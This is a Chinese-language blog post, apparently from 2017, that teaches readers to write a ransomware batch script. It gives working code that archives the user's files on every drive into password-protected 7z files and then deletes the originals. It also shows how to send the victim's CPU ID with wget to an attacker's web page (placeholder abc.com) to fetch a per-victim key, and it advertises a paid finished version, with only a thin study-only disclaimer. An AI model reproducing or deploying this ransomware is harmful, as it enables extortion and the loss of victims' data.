写个勒索脚本病毒,加密你电脑文件没商量

关于之前的wannacry勒索病毒,相比中招的你都还心有余悸吧。哈哈

之前我也准备写个相似的勒索程序,一直没空研究,但是大概思路是有的(又吹牛)。

原理是利用7z命令行程序,给文件加密码压缩。密码超长的话,估计100年内无人能破解。(但是有别的方法,下面说)

QQ截图20170518210322.png

这是被加密后的样子,原来的txt文件已经全被被自动被压缩成压缩包了,而且原文件也被删除。并且压缩包也有密码,不知道密码根本无法解压。



批处理代码:(what?为什么用批处理?很low? 嗯,是的,很low,但是基本上没有被杀毒软件误报的可能。这凭这个,我就用批处理)

@echo off & setlocal enabledelayedexpansion
set reg=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
for %%a in (z y x w v u t s r q p o n m l k j i h j f e d c b) do (
  if exist %%a: (
    if /i not "%%a:"=="%homedrive%" (
      call :folder %%a:
    ) else (
      for %%b in (desktop Personal Favorites "My Pictures" "My Video") do (
        for /f "skip=2 tokens=3 delims=_" %%c in ('reg query "%reg%" /v %%b') do (
          for /f "tokens=1*" %%d in ("%%c") do (
            call :folder %%e
          )
        )
      )
    )
  )
)
pause
exit


:folder
pushd "%~1"
for /f "delims=" %%a in ('dir /a /s /b *.txt *.bmp 2^>nul') do call :run "%%a"
exit /b


:run
for /f %%a in ("%~1") do (
  echo "%~1"
  pushd "%~dp1"
  %~dp07z a -ptest -ssw "%~nx1.7z" "%~nx1" 2>nul >nul
  del /f "%~1"
)
exit /b

此代码并非是成品,但是基本功能已经做到了。


下面一步步讲解过程原理:

第一个for语句,

for %%a in (z y x w v u t s r q p o n m l k j i h j f e d c b) do ...

判断电脑都存在哪些盘。存在的话都会是被处理的对象,为什么现在用z盘开始?因为我觉得很多人喜欢把重要的数据都放在靠后面的盘符。嗯对,就先下手重要的数据

if /i not "%%a:"=="%homedrive%"

上面这行,检测当前要处理的是否是系统盘,如果是的话,就执行下面代码

      for %%b in (desktop Personal Favorites "My Pictures" "My Video") do (
        for /f "skip=2 tokens=3 delims=_" %%c in ('reg query "%reg%" /v %%b') do (
          for /f "tokens=1*" %%d in ("%%c") do (
            call :folder %%e
          )
        )
      )

代码内容是判断桌面、文档、收藏夹、图片和视频文件夹的路径,对里面的文件进行加密。

(判断这干啥?直接C盘都处理不就不好!? 我觉得这个不太好,这样可以防止系统重要的文件被处理,导致无法正常开机,我是个有原则的人O(∩_∩)O,仅加密不破坏。再说常人也只会把文件放在上面说的那几个文件夹里,处理别的文件也没什么意义)

上面判断了盘符和一些文件夹路径,就会调用:folder标签继续处理

call :folder %%e

这个标签代码下的功能就是列出所有要处理的文件。

dir /a /s /b *.txt *.bmp

示例代码就是只列出 txt文件和bmp文件。当然还可以继续加别的文件后缀

将列出的文件继续调用:run标签处理

call :run "%%a"

这才是加密代码

for /f %%a in ("%~1") do (
  echo "%~1"
  pushd "%~dp1"
  %~dp07z a -ptest -ssw "%~nx1.7z" "%~nx1" 2>nul >nul
  del /f "%~1"
)
%~dp07z a -ptest -ssw "%~nx1.7z" "%~nx1" 2>nul >nul

%~dp07z 是批处理文件所在目录的7z压缩命令行程序,-p 是加密参数。示例代码的密码是test

是不是又觉得很low,密码就明文写在代码里?

当然这样肯定是不行的,在批处理代码里写出一种计算密码的方式也不靠谱。稍微懂点批处理的假如从某种方法看到了你的批处理代码,找出密码是分分钟的事情。

可以利用下面的方法来生成密码。我是这么想的,暂时还没去做。大家可以先去试试

  1. 先用 wmic cpu get processorid 命令获取出被勒索主机cpu的id号(如下图)。就利用这个来作为密码的原文(也可以利用主板的序列号或者是网卡的mac)。

    QQ截图20170518204457.png

  2. 将id号传至你的网站程序,可以是asp、php等。

  3. 网站里的程序代码对该id进行加密,至于怎么加密就看你的了。(比如可以这样,截取id的一部分代码,比如前五位,自己再加上几个字符,然后混合出来计算出一个md5值)


这样的话,别人就不知道你的密码的加密方式,也就不可能会利用cpu id自己计算出密码来。


计算出来的密码可以这样来获取,利用第三方wget在命令行来打开网页

for /f "skip=1 delims=" %%a in ('wmic cpu get processorid') do (
  for /f "delims=" %%b in ('wget -q -O - http://abc.com/encrypt.php?id^=%%a') do (
  echo 密码是:%%b
)

密码原文传到http://abc.com/encrypt.php?id= 页面来处理,我这个是随便写了个网址,你得改成你自己的加密程序网址。

不喜欢第三方也可以利用vbs来处理。具体去网上搜搜方法吧,我就不说了。

网站程序要做好密码仅一次查询处理,不然的话别人看下你的代码,用同样的方式就把密码给获取了。


开始说的7z命令行程序,可以去网上下载,和批处理一起打包。

也可以利用vbs下载7z程序。


大问题所在:假如你很牛逼的话让此批处理在一个很牛逼的人电脑上执行了。在文件加密的过程中此人察觉到了cpu利用率有点高,马上就能调用任务管理器查出来7z程序。命令行参数都能看到了密码也就暴露了。

用wmic命令也可以看到程序启动参数。同样可以看到密码

wmic process get commandline

QQ截图20170518212200.png

这就是一开始所说的,100年无人能破解,除非是在加密的时候被揪出来。

成品代码下载:

[NeadPay]

到这里就说的差不多了。欢迎读者在下面评论区留言。

免责声明:此篇文章仅作为大家学习研究的用途,禁止用于非法行为。否则与本作者在无关!


相关文章

评论:

4 条评论

发表评论 取消回复

电子邮件地址不会被公开。 必填项已用*标注